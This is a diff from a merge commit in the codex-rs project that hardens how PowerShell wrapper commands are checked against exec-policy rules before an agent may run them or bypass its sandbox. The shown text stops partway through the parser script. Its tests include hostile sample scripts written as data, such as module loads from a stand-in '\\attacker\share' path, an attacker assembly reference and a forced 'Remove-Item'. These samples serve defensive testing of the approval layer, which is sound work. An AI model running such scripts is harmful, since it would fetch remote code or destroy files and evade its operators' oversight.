Merge commit 'ee10594f6cea193c6eb3530b80454a6f298c44f5' into bookholt/psec-4922-repeated-approval-client-integrity

This commit is contained in:
Chris Bookholt
2026-07-03 00:05:17 -07:00
14 changed files with 1497 additions and 170 deletions

2
codex-rs/Cargo.lock generated
View File

@@ -3906,8 +3906,8 @@ dependencies = [
"pretty_assertions",
"regex",
"serde",
"serde_json",
"shlex",
"tempfile",
"tree-sitter",
"tree-sitter-bash",
"url",

View File

@@ -35,6 +35,7 @@ use tracing::instrument;
use crate::config::Config;
use crate::sandboxing::SandboxPermissions;
use crate::tools::sandboxing::ExecApprovalRequirement;
use crate::tools::sandboxing::unsandboxed_execution_allowed;
use codex_shell_command::bash::parse_shell_lc_plain_commands;
use codex_shell_command::bash::parse_shell_lc_single_command_prefix;
use codex_utils_absolute_path::AbsolutePathBuf;
@@ -284,13 +285,15 @@ impl ExecPolicyManager {
} = req;
let exec_policy = self.current();
#[cfg(windows)]
let parsed_powershell = match powershell_policy::prepare(command) {
Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) => {
return requirement;
}
Some(powershell_policy::PreparedPowerShell::Parsed(parsed)) => Some(parsed),
None => None,
};
let (parsed_powershell, powershell_outer_authority) =
match powershell_policy::prepare(command) {
Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) => {
return requirement;
}
Some(powershell_policy::PreparedPowerShell::Parsed(parsed)) => (Some(parsed), true),
Some(powershell_policy::PreparedPowerShell::Unsupported) => (None, true),
None => (None, false),
};
#[cfg(windows)]
let exec_policy_commands = if let Some(parsed) = parsed_powershell.as_ref() {
ExecPolicyCommands {
@@ -303,6 +306,8 @@ impl ExecPolicyManager {
};
#[cfg(not(windows))]
let exec_policy_commands = commands_for_exec_policy(command);
#[cfg(not(windows))]
let powershell_outer_authority = false;
let ExecPolicyCommands {
commands,
used_complex_parsing,
@@ -328,13 +333,82 @@ impl ExecPolicyManager {
let match_options = MatchOptions {
resolve_host_executables: true,
};
let evaluation = exec_policy.check_multiple_with_options(
let parsed_powershell_outer = powershell_outer_authority.then_some(command);
let mut evaluation = exec_policy.check_multiple_with_options(
commands.iter(),
&exec_policy_fallback,
&match_options,
);
let outer_matches = parsed_powershell_outer
.map(|outer| {
exec_policy.matches_for_command_with_options(
outer,
/*heuristics_fallback*/ None,
&match_options,
)
})
.unwrap_or_default();
let outer_allow = outer_matches.iter().any(|rule_match| {
matches!(
rule_match,
RuleMatch::PrefixRuleMatch {
decision: Decision::Allow,
..
}
)
});
let exact_outer_allow = parsed_powershell_outer.is_some_and(|outer| {
outer_matches.iter().any(|rule_match| {
matches!(
rule_match,
RuleMatch::PrefixRuleMatch {
matched_prefix,
decision: Decision::Allow,
..
} if matched_prefix.len() == outer.len()
)
})
});
evaluation.matched_rules.extend(outer_matches);
evaluation.decision = evaluation
.matched_rules
.iter()
.filter(|rule_match| !outer_allow || is_policy_match(rule_match))
.map(RuleMatch::decision)
.max()
.unwrap_or(Decision::Forbidden);
let requested_amendment = if auto_amendment_allowed {
let file_system_sandbox_policy = permission_profile.file_system_sandbox_policy();
let managed_filesystem_restrictions =
profile_has_managed_filesystem_restrictions(&permission_profile);
let permission_delta_requires_outer = match (&permission_profile, sandbox_permissions) {
(PermissionProfile::Disabled, _) => false,
(_, SandboxPermissions::WithAdditionalPermissions) => true,
(PermissionProfile::External { .. }, SandboxPermissions::RequireEscalated) => true,
(PermissionProfile::Managed { .. }, SandboxPermissions::RequireEscalated) => {
unsandboxed_execution_allowed(&file_system_sandbox_policy)
}
(_, SandboxPermissions::UseDefault) => false,
};
let parsed_powershell_needs_outer_approval = parsed_powershell_outer.is_some()
&& !exact_outer_allow
&& (permission_delta_requires_outer
|| (cfg!(windows)
&& windows_sandbox_level == WindowsSandboxLevel::Disabled
&& managed_filesystem_restrictions));
if evaluation.decision == Decision::Allow && parsed_powershell_needs_outer_approval {
evaluation.decision = Decision::Prompt;
evaluation
.matched_rules
.push(RuleMatch::HeuristicsRuleMatch {
command: command.to_vec(),
decision: Decision::Prompt,
});
}
let requested_amendment = if parsed_powershell_outer.is_some() {
None
} else if auto_amendment_allowed {
derive_requested_execpolicy_amendment_from_prefix_rule(
prefix_rule.as_ref(),
&evaluation.matched_rules,
@@ -362,33 +436,48 @@ impl ExecPolicyManager {
None => ExecApprovalRequirement::NeedsApproval {
reason: derive_prompt_reason(command, &evaluation),
proposed_execpolicy_amendment: requested_amendment.or_else(|| {
if auto_amendment_allowed {
try_derive_execpolicy_amendment_for_prompt_rules(
&evaluation.matched_rules,
)
} else {
None
match (
parsed_powershell_outer,
prompt_is_rule,
auto_amendment_allowed,
) {
(Some(outer), false, _) => {
Some(ExecPolicyAmendment::new(outer.to_vec()))
}
(None, _, true) => {
try_derive_execpolicy_amendment_for_prompt_rules(
&evaluation.matched_rules,
)
}
_ => None,
}
}),
},
}
}
Decision::Allow => ExecApprovalRequirement::Skip {
// Bypass sandbox only when every parsed command segment is
// explicitly allowed by execpolicy.
bypass_sandbox: commands.iter().all(|command| {
exec_policy
.matches_for_command_with_options(
command,
/*heuristics_fallback*/ None,
&match_options,
)
.iter()
.any(|rule_match| {
is_policy_match(rule_match) && rule_match.decision() == Decision::Allow
})
}),
proposed_execpolicy_amendment: if auto_amendment_allowed {
// Lowered PowerShell command names do not bind runtime module, profile, or PATH
// resolution. Only an exact full-wrapper Allow may authorize sandbox bypass.
bypass_sandbox: if parsed_powershell_outer.is_some() {
exact_outer_allow
} else {
commands.iter().all(|command| {
exec_policy
.matches_for_command_with_options(
command,
/*heuristics_fallback*/ None,
&match_options,
)
.iter()
.any(|rule_match| {
is_policy_match(rule_match)
&& rule_match.decision() == Decision::Allow
})
})
},
proposed_execpolicy_amendment: if let Some(outer) = parsed_powershell_outer {
(!exact_outer_allow).then(|| ExecPolicyAmendment::new(outer.to_vec()))
} else if auto_amendment_allowed {
try_derive_execpolicy_amendment_for_allow_rules(&evaluation.matched_rules)
} else {
None

View File

@@ -1,4 +1,5 @@
use codex_shell_command::powershell::PowerShellExecPolicyParse;
use codex_shell_command::powershell::PowerShellExecPolicyParseOutcome;
use super::render_shlex_command;
use crate::tools::sandboxing::ExecApprovalRequirement;
@@ -6,6 +7,7 @@ use crate::tools::sandboxing::ExecApprovalRequirement;
pub(super) enum PreparedPowerShell {
Terminal(ExecApprovalRequirement),
Parsed(ParsedPowerShell),
Unsupported,
}
pub(super) struct ParsedPowerShell {
@@ -13,26 +15,43 @@ pub(super) struct ParsedPowerShell {
}
pub(super) fn prepare(command: &[String]) -> Option<PreparedPowerShell> {
match codex_shell_command::powershell::parse_powershell_command_for_exec_policy(command)? {
let parsed =
codex_shell_command::powershell::parse_powershell_command_for_exec_policy(command)?;
prepare_classified(command, parsed)
}
pub(super) fn prepare_classified(
command: &[String],
parsed: PowerShellExecPolicyParse,
) -> Option<PreparedPowerShell> {
match parsed {
PowerShellExecPolicyParse::TrustedRuntime {
commands: Some(commands),
} if !commands.is_empty() => {
Some(PreparedPowerShell::Parsed(ParsedPowerShell { commands }))
}
PowerShellExecPolicyParse::TrustedRuntime { .. } => Some(forbidden(
command,
"the PowerShell script could not be inspected",
)),
outcome: PowerShellExecPolicyParseOutcome::Commands(commands),
} => Some(PreparedPowerShell::Parsed(ParsedPowerShell { commands })),
PowerShellExecPolicyParse::TrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Unsupported,
} => Some(PreparedPowerShell::Unsupported),
PowerShellExecPolicyParse::TrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Failed,
} => Some(forbidden(command, "the protected PowerShell parser failed")),
PowerShellExecPolicyParse::UntrustedRuntime {
commands: Some(commands),
} if !commands.is_empty() => Some(forbidden(
outcome: PowerShellExecPolicyParseOutcome::Commands(_),
} => Some(forbidden(
command,
"the PowerShell runtime is not a protected system executable",
)),
PowerShellExecPolicyParse::UntrustedRuntime { .. } => Some(forbidden(
PowerShellExecPolicyParse::UntrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Unsupported,
} => Some(forbidden(
command,
"an untrusted PowerShell wrapper could not be inspected with the protected system parser",
)),
PowerShellExecPolicyParse::UntrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Failed,
} => Some(forbidden(
command,
"the protected system parser failed while inspecting an untrusted PowerShell wrapper",
)),
}
}

View File

@@ -1,4 +1,6 @@
use super::*;
use codex_shell_command::powershell::PowerShellExecPolicyParse;
use codex_shell_command::powershell::PowerShellExecPolicyParseOutcome;
fn trusted_windows_powershell() -> String {
codex_shell_command::powershell::try_find_powershell_executable_blocking()
@@ -9,6 +11,29 @@ fn trusted_windows_powershell() -> String {
.to_string()
}
fn powershell_command(script: &str) -> Vec<String> {
vec![
trusted_windows_powershell(),
"-Command".to_string(),
script.to_string(),
]
}
fn outer_result(command: &[String], prompt: bool) -> ExecApprovalRequirement {
let amendment = Some(ExecPolicyAmendment::new(command.to_vec()));
if prompt {
ExecApprovalRequirement::NeedsApproval {
reason: None,
proposed_execpolicy_amendment: amendment,
}
} else {
ExecApprovalRequirement::Skip {
bypass_sandbox: false,
proposed_execpolicy_amendment: amendment,
}
}
}
fn granular(rules: bool, sandbox_approval: bool) -> AskForApproval {
AskForApproval::Granular(GranularApprovalConfig {
rules,
@@ -19,8 +44,39 @@ fn granular(rules: bool, sandbox_approval: bool) -> AskForApproval {
})
}
fn approval_policies() -> [AskForApproval; 7] {
[
AskForApproval::Never,
AskForApproval::OnRequest,
AskForApproval::UnlessTrusted,
granular(/*rules*/ false, /*sandbox_approval*/ false),
granular(/*rules*/ false, /*sandbox_approval*/ true),
granular(/*rules*/ true, /*sandbox_approval*/ false),
granular(/*rules*/ true, /*sandbox_approval*/ true),
]
}
async fn requirement(
policy_src: Option<&str>,
command: &[String],
approval_policy: AskForApproval,
permission_profile: PermissionProfile,
sandbox_permissions: SandboxPermissions,
) -> ExecApprovalRequirement {
exec_approval_requirement_for_command(ExecApprovalRequirementScenario {
policy_src: policy_src.map(str::to_owned),
command: command.to_vec(),
approval_policy,
permission_profile,
sandbox_permissions,
prefix_rule: None,
})
.await
}
#[tokio::test]
async fn rejects_every_noninspectable_or_untrusted_powershell_state() {
async fn rejects_untrusted_powershell_across_approval_and_sandbox_modes() {
let trusted = trusted_windows_powershell();
let cases = [
(
"untrusted parsed runtime",
@@ -28,16 +84,6 @@ async fn rejects_every_noninspectable_or_untrusted_powershell_state() {
Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#),
"the PowerShell runtime is not a protected system executable",
),
(
"trusted empty body",
vec![
trusted_windows_powershell(),
"-Command".into(),
String::new(),
],
None,
"the PowerShell script could not be inspected",
),
(
"untrusted opaque body",
vec_str(&[
@@ -49,6 +95,34 @@ async fn rejects_every_noninspectable_or_untrusted_powershell_state() {
None,
"an untrusted PowerShell wrapper could not be inspected with the protected system parser",
),
(
"full outer rule for bare runtime",
vec_str(&["powershell.exe", "-Command", "echo allowed"]),
Some(
r#"prefix_rule(pattern=["powershell.exe", "-Command", "echo allowed"], decision="allow")"#,
),
"the PowerShell runtime is not a protected system executable",
),
(
"verbatim path alias",
vec![
format!(r"\\?\{trusted}."),
"-Command".to_string(),
"echo allowed".to_string(),
],
Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#),
"the PowerShell runtime is not a protected system executable",
),
(
"device path alias",
vec![
format!(r"\\.\{trusted} "),
"-Command".to_string(),
"echo allowed".to_string(),
],
Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#),
"the PowerShell runtime is not a protected system executable",
),
];
let policies = [
AskForApproval::Never,
@@ -95,3 +169,189 @@ async fn rejects_every_noninspectable_or_untrusted_powershell_state() {
}
}
}
#[test]
fn parser_failures_are_terminal_for_trusted_and_untrusted_runtimes() {
let command = powershell_command("Get-Content Cargo.toml");
let rendered = render_shlex_command(&command);
let cases = [
(
PowerShellExecPolicyParse::TrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Failed,
},
"the protected PowerShell parser failed",
),
(
PowerShellExecPolicyParse::UntrustedRuntime {
outcome: PowerShellExecPolicyParseOutcome::Failed,
},
"the protected system parser failed while inspecting an untrusted PowerShell wrapper",
),
];
for (parsed, reason) in cases {
let Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) =
powershell_policy::prepare_classified(&command, parsed)
else {
panic!("parser failure must produce a terminal policy result");
};
pretty_assertions::assert_eq!(
requirement,
ExecApprovalRequirement::Forbidden {
reason: format!("`{rendered}` rejected: {reason}"),
},
);
}
}
#[tokio::test]
async fn trusted_unsupported_scripts_use_the_generic_outer_policy() {
let scripts = [
"",
"param([string]$path) Get-Content Cargo.toml",
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
"UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml",
"configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }",
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
// The raw pre-parser gate intentionally accepts false positives in exchange for
// never invoking SMA on a possible parse-time construct.
"Write-Output 'confusing but inert'",
];
let profiles = [PermissionProfile::Disabled, PermissionProfile::read_only()];
for script in scripts {
let command = powershell_command(script);
for approval_policy in approval_policies() {
for permission_profile in &profiles {
let requirement = requirement(
None,
&command,
approval_policy,
permission_profile.clone(),
SandboxPermissions::UseDefault,
)
.await;
let expected =
outer_result(&command, approval_policy == AskForApproval::UnlessTrusted);
pretty_assertions::assert_eq!(
requirement,
expected,
"script {script:?} with {approval_policy:?} and {permission_profile:?}",
);
}
}
}
}
#[tokio::test]
async fn dangerous_trusted_unsupported_scripts_keep_generic_policy_protections() {
let command = powershell_command("Write-Output 'using'; Remove-Item target -Force");
let rendered = render_shlex_command(&command);
let profiles = [PermissionProfile::Disabled, PermissionProfile::read_only()];
for approval_policy in approval_policies() {
for permission_profile in &profiles {
let requirement = requirement(
None,
&command,
approval_policy,
permission_profile.clone(),
SandboxPermissions::UseDefault,
)
.await;
let expected = match approval_policy {
AskForApproval::Never
if matches!(permission_profile, PermissionProfile::Disabled) =>
{
outer_result(&command, false)
}
AskForApproval::Never => ExecApprovalRequirement::Forbidden {
reason: format!("`{rendered}` rejected: blocked by policy"),
},
AskForApproval::Granular(config) if !config.allows_sandbox_approval() => {
ExecApprovalRequirement::Forbidden {
reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(),
}
}
_ => outer_result(&command, true),
};
pretty_assertions::assert_eq!(
requirement,
expected,
"{approval_policy:?} with {permission_profile:?}",
);
}
}
}
#[tokio::test]
async fn sandbox_override_on_trusted_unsupported_script_uses_outer_argv() {
let command = powershell_command("Write-Output 'confusing but inert'");
for (approval_policy, permits_prompt) in [
(AskForApproval::OnRequest, true),
(granular(/*rules*/ true, /*sandbox_approval*/ true), true),
(granular(/*rules*/ true, /*sandbox_approval*/ false), false),
] {
pretty_assertions::assert_eq!(
requirement(
None,
&command,
approval_policy,
PermissionProfile::read_only(),
SandboxPermissions::RequireEscalated,
)
.await,
if permits_prompt {
outer_result(&command, true)
} else {
ExecApprovalRequirement::Forbidden {
reason: REJECT_SANDBOX_APPROVAL_REASON.to_string(),
}
},
);
}
}
#[tokio::test]
async fn trusted_unsupported_scripts_only_match_outer_rules() {
let inner_rule_command = powershell_command(
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
);
pretty_assertions::assert_eq!(
requirement(
Some(r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#),
&inner_rule_command,
AskForApproval::UnlessTrusted,
PermissionProfile::read_only(),
SandboxPermissions::UseDefault,
)
.await,
outer_result(&inner_rule_command, true),
);
let command = powershell_command("Write-Output 'confusing but inert'");
let outer_pattern = command
.iter()
.map(|word| format!(r#""{}""#, starlark_string(word)))
.collect::<Vec<_>>()
.join(", ");
let policy_src = format!(r#"prefix_rule(pattern=[{outer_pattern}], decision="allow")"#);
pretty_assertions::assert_eq!(
requirement(
Some(&policy_src),
&command,
AskForApproval::UnlessTrusted,
PermissionProfile::read_only(),
SandboxPermissions::UseDefault,
)
.await,
ExecApprovalRequirement::Skip {
bypass_sandbox: true,
proposed_execpolicy_amendment: None,
},
);
}

View File

@@ -11,6 +11,80 @@ static TRUSTED_WINDOWS_POWERSHELL_EXE: LazyLock<String> = LazyLock::new(|| {
.to_string()
});
fn powershell_command(script: &str) -> Vec<String> {
vec![
TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(),
"-NoProfile".to_string(),
"-Command".to_string(),
script.to_string(),
]
}
fn prefix_rule_for(command: &[String], decision: &str) -> String {
let pattern = command
.iter()
.map(|word| format!(r#""{}""#, starlark_string(word)))
.collect::<Vec<_>>()
.join(", ");
format!(r#"prefix_rule(pattern=[{pattern}], decision="{decision}")"#)
}
fn skip_outer(command: &[String], bypass_sandbox: bool) -> ExecApprovalRequirement {
ExecApprovalRequirement::Skip {
bypass_sandbox,
proposed_execpolicy_amendment: (!bypass_sandbox)
.then(|| ExecPolicyAmendment::new(command.to_vec())),
}
}
fn prompt_outer(command: &[String]) -> ExecApprovalRequirement {
ExecApprovalRequirement::NeedsApproval {
reason: None,
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command.to_vec())),
}
}
async fn windows_requirement(
policy_src: String,
command: &[String],
approval_policy: AskForApproval,
permission_profile: PermissionProfile,
windows_sandbox_level: WindowsSandboxLevel,
sandbox_permissions: SandboxPermissions,
) -> ExecApprovalRequirement {
ExecPolicyManager::new(policy_from_src(Some(&policy_src)))
.create_exec_approval_requirement_for_command(ExecApprovalRequest {
command,
approval_policy,
permission_profile,
windows_sandbox_level,
sandbox_permissions,
prefix_rule: None,
})
.await
}
async fn default_windows_requirement(
policy_src: String,
command: &[String],
) -> ExecApprovalRequirement {
windows_requirement(
policy_src,
command,
AskForApproval::UnlessTrusted,
PermissionProfile::read_only(),
WindowsSandboxLevel::RestrictedToken,
SandboxPermissions::UseDefault,
)
.await
}
fn external_profile() -> PermissionProfile {
PermissionProfile::External {
network: NetworkSandboxPolicy::Restricted,
}
}
#[tokio::test]
async fn evaluates_powershell_inner_commands_against_prompt_rules() {
assert_exec_approval_requirement_for_command(
@@ -35,27 +109,271 @@ async fn evaluates_powershell_inner_commands_against_prompt_rules() {
}
#[tokio::test]
async fn evaluates_powershell_inner_commands_against_allow_rules() {
assert_exec_approval_requirement_for_command(
ExecApprovalRequirementScenario {
policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#.to_string()),
command: vec![
TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(),
"-NoProfile".to_string(),
"-Command".to_string(),
"echo blocked".to_string(),
],
approval_policy: AskForApproval::UnlessTrusted,
permission_profile: PermissionProfile::read_only(),
sandbox_permissions: SandboxPermissions::UseDefault,
prefix_rule: None,
},
ExecApprovalRequirement::Skip {
bypass_sandbox: true,
proposed_execpolicy_amendment: None,
},
)
.await;
async fn inner_allows_for_runtime_resolved_names_remain_sandboxed() {
for (script, inner) in [
("echo blocked", "echo"),
("Get-Content Cargo.toml", "Get-Content"),
("Invoke-ProfileHook test", "Invoke-ProfileHook"),
("codex-path-helper --version", "codex-path-helper"),
] {
let command = powershell_command(script);
assert_eq!(
default_windows_requirement(
format!(r#"prefix_rule(pattern=["{inner}"], decision="allow")"#),
&command,
)
.await,
skip_outer(&command, false),
);
}
}
#[tokio::test]
async fn only_exact_outer_rules_can_bypass_runtime_resolution() {
let command = powershell_command("Remove-Item target -Force");
let executable = starlark_string(&command[0]);
let rest = command[1..]
.iter()
.map(|word| format!(r#""{}""#, starlark_string(word)))
.collect::<Vec<_>>()
.join(", ");
let mismatched = powershell_command("Remove-Item other -Force");
let cases = [
(prefix_rule_for(&command[..1], "allow"), Some(false)),
(prefix_rule_for(&command, "allow"), Some(true)),
(
format!(
"host_executable(name = \"powershell\", paths = [\"{executable}\"])\n\
prefix_rule(pattern=[\"powershell\", {rest}], decision=\"allow\")"
),
Some(true),
),
(
format!(
"prefix_rule(pattern=[[\"{executable}\", \"C:\\\\other\\\\powershell.exe\"], \
[\"-NoProfile\", \"-noprofile\"], \"-Command\", \
\"Remove-Item target -Force\"], decision=\"allow\")"
),
Some(true),
),
(prefix_rule_for(&mismatched, "allow"), None),
];
for (policy_src, bypass_sandbox) in cases {
assert_eq!(
default_windows_requirement(policy_src, &command).await,
bypass_sandbox.map_or_else(
|| prompt_outer(&command),
|bypass| skip_outer(&command, bypass)
),
);
}
}
#[tokio::test]
async fn full_outer_allow_does_not_bypass_extended_unsupported_wrapper() {
use SandboxPermissions::*;
use WindowsSandboxLevel::*;
let command = powershell_command("Get-Content Cargo.toml");
let policy_src = prefix_rule_for(&command, "allow");
let mut extended = command.clone();
extended.push("trailing-runtime-argument".to_string());
for (profile, level, permissions, prompts) in [
(
PermissionProfile::read_only(),
RestrictedToken,
UseDefault,
false,
),
(
PermissionProfile::read_only(),
RestrictedToken,
RequireEscalated,
true,
),
(
PermissionProfile::read_only(),
RestrictedToken,
WithAdditionalPermissions,
true,
),
(PermissionProfile::read_only(), Disabled, UseDefault, true),
(
PermissionProfile::Disabled,
RestrictedToken,
UseDefault,
false,
),
] {
assert_eq!(
windows_requirement(
policy_src.clone(),
&extended,
AskForApproval::UnlessTrusted,
profile,
level,
permissions,
)
.await,
if prompts {
prompt_outer(&extended)
} else {
skip_outer(&extended, false)
},
);
}
}
#[tokio::test]
async fn explicit_inner_and_outer_restrictions_remain_strictest() {
let command = powershell_command("Get-Content Cargo.toml");
let outer_allow = prefix_rule_for(&command, "allow");
let inner_allow = r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#;
let rendered = render_shlex_command(&command);
for (inner, decision) in [
(true, "prompt"),
(true, "forbidden"),
(false, "prompt"),
(false, "forbidden"),
] {
let (policy_src, forbidden_prefix) = if inner {
(
format!(
"{outer_allow}\nprefix_rule(pattern=[\"Get-Content\"], decision=\"{decision}\")"
),
"Get-Content".to_string(),
)
} else {
(
format!("{inner_allow}\n{}", prefix_rule_for(&command, decision)),
rendered.clone(),
)
};
let expected = if decision == "prompt" {
ExecApprovalRequirement::NeedsApproval {
reason: Some(format!("`{rendered}` requires approval by policy")),
proposed_execpolicy_amendment: None,
}
} else {
ExecApprovalRequirement::Forbidden {
reason: format!(
"`{rendered}` rejected: policy forbids commands starting with `{forbidden_prefix}`"
),
}
};
assert_eq!(
windows_requirement(
policy_src,
&command,
AskForApproval::OnRequest,
PermissionProfile::read_only(),
WindowsSandboxLevel::RestrictedToken,
SandboxPermissions::UseDefault,
)
.await,
expected,
);
}
}
#[tokio::test]
async fn outer_authority_tracks_permission_deltas_and_missing_managed_sandbox() {
use SandboxPermissions::*;
use WindowsSandboxLevel::*;
let command = powershell_command("Get-Content Cargo.toml");
let inner_allow = r#"prefix_rule(pattern=["Get-Content"], decision="allow")"#.to_string();
let denied_read_profile = PermissionProfile::from_runtime_permissions(
&FileSystemSandboxPolicy::restricted(vec![FileSystemSandboxEntry {
path: FileSystemPath::GlobPattern {
pattern: "**/*.env".to_string(),
},
access: FileSystemAccessMode::Deny,
}]),
NetworkSandboxPolicy::Restricted,
);
for (profile, level, permissions, prompts) in [
(
PermissionProfile::read_only(),
RestrictedToken,
RequireEscalated,
true,
),
(PermissionProfile::read_only(), Disabled, UseDefault, true),
(
denied_read_profile,
RestrictedToken,
RequireEscalated,
false,
),
(
PermissionProfile::read_only(),
RestrictedToken,
WithAdditionalPermissions,
true,
),
(
PermissionProfile::Disabled,
RestrictedToken,
RequireEscalated,
false,
),
(
PermissionProfile::Disabled,
RestrictedToken,
WithAdditionalPermissions,
false,
),
(external_profile(), RestrictedToken, UseDefault, false),
(external_profile(), RestrictedToken, RequireEscalated, true),
(
external_profile(),
RestrictedToken,
WithAdditionalPermissions,
true,
),
] {
assert_eq!(
windows_requirement(
inner_allow.clone(),
&command,
AskForApproval::OnRequest,
profile,
level,
permissions,
)
.await,
if prompts {
prompt_outer(&command)
} else {
skip_outer(&command, false)
},
);
}
let exact_allow = format!("{inner_allow}\n{}", prefix_rule_for(&command, "allow"));
for (level, permissions) in [
(RestrictedToken, RequireEscalated),
(RestrictedToken, WithAdditionalPermissions),
(Disabled, UseDefault),
] {
assert_eq!(
windows_requirement(
exact_allow.clone(),
&command,
AskForApproval::OnRequest,
PermissionProfile::read_only(),
level,
permissions,
)
.await,
skip_outer(&command, true),
);
}
}
#[test]
@@ -183,21 +501,12 @@ fn writable_windows_policy_without_sandbox_backend_still_requires_approval() {
#[tokio::test]
async fn unmatched_dangerous_powershell_inner_commands_require_approval() {
let inner_command = vec![
"Remove-Item".to_string(),
"test".to_string(),
"-Force".to_string(),
];
let command = powershell_command("Remove-Item test -Force");
assert_exec_approval_requirement_for_command(
ExecApprovalRequirementScenario {
policy_src: None,
command: vec![
TRUSTED_WINDOWS_POWERSHELL_EXE.to_string(),
"-NoProfile".to_string(),
"-Command".to_string(),
"Remove-Item test -Force".to_string(),
],
command: command.clone(),
approval_policy: AskForApproval::OnRequest,
permission_profile: PermissionProfile::Disabled,
sandbox_permissions: SandboxPermissions::UseDefault,
@@ -205,7 +514,28 @@ async fn unmatched_dangerous_powershell_inner_commands_require_approval() {
},
ExecApprovalRequirement::NeedsApproval {
reason: None,
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(inner_command)),
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)),
},
)
.await;
}
#[tokio::test]
async fn mixed_powershell_inner_commands_use_the_strictest_decision() {
let command = powershell_command("echo safe; Remove-Item target -Force");
assert_exec_approval_requirement_for_command(
ExecApprovalRequirementScenario {
policy_src: Some(r#"prefix_rule(pattern=["echo"], decision="allow")"#.to_string()),
command: command.clone(),
approval_policy: AskForApproval::OnRequest,
permission_profile: PermissionProfile::Disabled,
sandbox_permissions: SandboxPermissions::UseDefault,
prefix_rule: None,
},
ExecApprovalRequirement::NeedsApproval {
reason: None,
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)),
},
)
.await;

View File

@@ -15,7 +15,6 @@ libc = { workspace = true }
once_cell = { workspace = true }
regex = { workspace = true }
serde = { workspace = true, features = ["derive"] }
serde_json = { workspace = true }
shlex = { workspace = true }
tree-sitter = { workspace = true }
tree-sitter-bash = { workspace = true }
@@ -32,6 +31,7 @@ windows-sys = { version = "0.52", features = [
[dev-dependencies]
anyhow = { workspace = true }
pretty_assertions = { workspace = true }
tempfile = { workspace = true }
[lib]
doctest = false

View File

@@ -1,14 +1,16 @@
mod powershell_parser;
mod powershell_preparse;
pub mod is_dangerous_command;
pub mod is_safe_command;
#[cfg(windows)]
pub(crate) mod windows_safe_commands;
pub(crate) use powershell_parser::PowershellParseOutcome;
pub(crate) use powershell_parser::TrustedPowerShellFlavor;
pub(crate) use powershell_parser::is_trusted_powershell_parser_executable;
pub(crate) use powershell_parser::parse_powershell_ast_commands_with_trusted_flavor;
#[cfg(all(test, windows))]
pub(crate) use powershell_parser::trusted_standard_pwsh_invocation_path;
#[cfg(all(test, windows))]
pub(crate) use powershell_parser::trusted_windows_powershell_invocation_path;
pub(crate) use powershell_parser::try_parse_powershell_ast_commands;
pub(crate) use powershell_parser::try_parse_powershell_ast_commands_with_trusted_flavor;

View File

@@ -1,20 +1,22 @@
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
$PSModuleAutoLoadingPreference = 'None'
# Long-lived PowerShell AST parser used by the Rust command-safety layer on Windows.
# The caller starts one child process per PowerShell executable variant and then sends
# newline-delimited JSON requests over stdin:
# { "id": <u64>, "payload": "<base64-encoded UTF-16LE script>" }
# We answer with one compact JSON line per request:
# { "id": <same>, "status": "ok", "commands": [["Get-Content", "foo.txt"]] }
# or:
# { "id": <same>, "status": "parse_failed" | "parse_errors" | "unsupported" }
# tab-delimited requests over stdin:
# <id>\t<base64-encoded UTF-16LE script>
# We answer with one tab-delimited line per request:
# <id>\t<status>\t<base64-encoded length-prefixed UTF-8 command words>
# The payload is empty for parse_failed, parse_errors, and unsupported responses.
# This protocol intentionally uses only .NET methods. In particular, it must not invoke JSON
# cmdlets because PowerShell can resolve those through a user-controlled module search path.
#
# "unsupported" is intentional: it means the script parsed successfully, but the AST
# included constructs that we conservatively refuse to lower into argv-like command words.
# The Rust side treats that the same way as an unsafe command.
# The Rust side does not accept that response as lowered commands.
# Use BOM-free UTF-8 on the protocol stream so Rust sees clean JSON lines with no
# Use BOM-free UTF-8 on the protocol stream so Rust sees clean framed lines with no
# leading BOM bytes on the first response.
$utf8 = [System.Text.UTF8Encoding]::new($false)
$stdin = [System.IO.StreamReader]::new([Console]::OpenStandardInput(), $utf8, $false)
@@ -43,9 +45,10 @@ function Invoke-ParseRequest {
}
# Top-level AST regions and collections outside the end-block statement list
# can execute code that the command lowering below does not inspect.
# can affect execution in ways that the command lowering below does not represent.
$cleanBlock = $ast.PSObject.Properties['CleanBlock']
if (
$ast.ScriptRequirements -ne $null -or
$ast.ParamBlock -ne $null -or
$ast.DynamicParamBlock -ne $null -or
$ast.BeginBlock -ne $null -or
@@ -106,10 +109,47 @@ function Invoke-ParseRequest {
return @{ id = $RequestId; status = 'ok'; commands = $commands }
}
function Convert-CommandsToPayload {
param($Commands)
$memory = [System.IO.MemoryStream]::new()
$writer = [System.IO.BinaryWriter]::new(
$memory,
[System.Text.UTF8Encoding]::new($false),
$true
)
try {
$writer.Write([uint32]$Commands.Count)
foreach ($command in $Commands) {
$writer.Write([uint32]$command.Count)
foreach ($word in $command) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes([string]$word)
$writer.Write([uint32]$bytes.Length)
$writer.Write($bytes)
}
}
$writer.Flush()
return [System.Convert]::ToBase64String($memory.ToArray())
} finally {
$writer.Dispose()
$memory.Dispose()
}
}
function Write-Response {
